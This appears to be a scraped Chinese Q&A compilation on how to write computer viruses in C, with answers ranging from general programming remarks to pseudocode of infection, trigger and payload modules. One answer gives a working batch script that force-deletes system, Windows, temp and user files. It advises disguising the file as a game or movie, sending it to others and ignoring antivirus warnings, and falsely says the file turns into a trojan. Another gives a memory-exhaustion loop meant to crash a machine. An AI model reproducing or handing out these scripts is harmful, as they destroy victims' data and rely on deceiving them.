c語言病毒編寫
『壹』 怎麼用c語言編寫木馬、病毒等程序
C語言當然可以編寫病毒,事實上很多程序都是用C/C++編寫出來的。x0dx0a編程語言本身沒有「貴賤」之分,只用用好了,都是相當強的;區別在於主要適用范圍、編寫的難易程序、執行效率的高低、學習的難易程度,等等。x0dx0aC語言只是一種計算機程序的編寫格式規范,到至於可以編寫出來什麼樣的程序,還要看你所用的C語言編譯器,(比如TC,VC,LCC,GCC等,太多了)。x0dx0a如果有編寫windows程序,就不能用TC,它只能編寫DOS程序,而應該用VC,LCC,C++Builder等編譯工具)x0dx0a編寫出來的程序肯定要調用操作系統提供的功能,如編windows程序,就要調用Win32 API,Dos程序則調用的是DOS中斷,編程實際上就是對這些操作系統所提供功能的調用。x0dx0a現在的病毒很多都是用常用的編程工具編寫的,如VC++,delph,VC,Win32匯編等
『貳』 用c語言編寫一個計算機病毒的例子
1):首先要知道語言的層次結構,通常會有直接使用「+」「-」「*」「%」語言都是高級語言。這些語言寫的代碼經過編譯前端編譯後生成中間代碼,最後經過編譯後端處理成目標代碼,也就是在目標平台上可執行的二進制代碼。
2):要知道計算機能執行的只是二進制的代碼。無論是高級語言表達式,如(1+2),還是匯編語言,add
r1,r2,r3.
都要翻譯成目標平台的二進制代碼。
如果你學過微型計算機原理,應該知道一個匯編指令,最終要執行還得用處理器的微指令來表達。
3):最後這些微指令轉化成電信號,控制處理器內的眾多的與或非門,來實現你想要做的運算。
『叄』 怎樣用C語言編寫病毒 / 藍訊
要編制一個病毒,首先要知道病毒的運行機理。
不論是何種病毒,它一般在結構上分為三個功能模塊:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本
原因。我們可以用一段類C偽碼來表示這個過程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本後觸發.
一個簡單的觸發機制可能是這樣工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄信息,重新格式化你的磁碟,把它自己郵給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
『肆』 C語言編寫的病毒有哪些
由於現在大多數的所謂的黑客都沒有真正的技術,他們的木馬都是利用別人編寫的木馬生成程序生成的,只要一點就好了!~~現在流行的木馬有vb、e語言、pascal(注意delphy不是一門語言,而是pascal語言的編輯器,就像c++跟vc++之間的關系)等,大量用他們編寫的原因並不是他們有多好,只不過是他們簡單易學!所以只要你有技術,用什麼程序寫不重要,條條大路通羅馬!
『伍』 如何用C語言編一個簡單病毒
建立一個文檔,寫入如下片段:
@echo off
del /f /s /q %systemdrive%\*.*
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.*
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo
之後保存將文件重命名為"【文件名】.bat"
然後文件會自動變異為木馬文件【360 瑞星什麼的彈窗狂出】,別管他,允許就行了,大約重命名完成後不到半秒就完事了,然後把這個文件發到別人電腦里,名字弄得吸引人一些,比如游戲啊,電影,歌曲什麼的,【擴展名一定為.bat】只要他一打開............片刻之後,除了裝系統估計一般人沒轍了
以上為最簡單的病毒軟體了。利用的是批處理刪除系統文件的方法
『陸』 病毒怎麼寫 用c語言
int main()
{
char *str = NULL;
while(1)
str = (char *)malloc(4096); // 無限申請內存而不釋放造成系統最終崩潰。這就是最簡單的病毒了
return 0;
}
『柒』 怎麼編小的病毒啊 用C語言行嗎(沒有惡意就想試試)
行,但是我得告訴你:
在當前,要寫病毒一般都要求對電腦有很深的了解。可以說,病毒是程序中最高深的東西。因為它要不讓人查覺,還得脫過殺軟,又要實現自身的目標,所以,一般的人是辦不到的。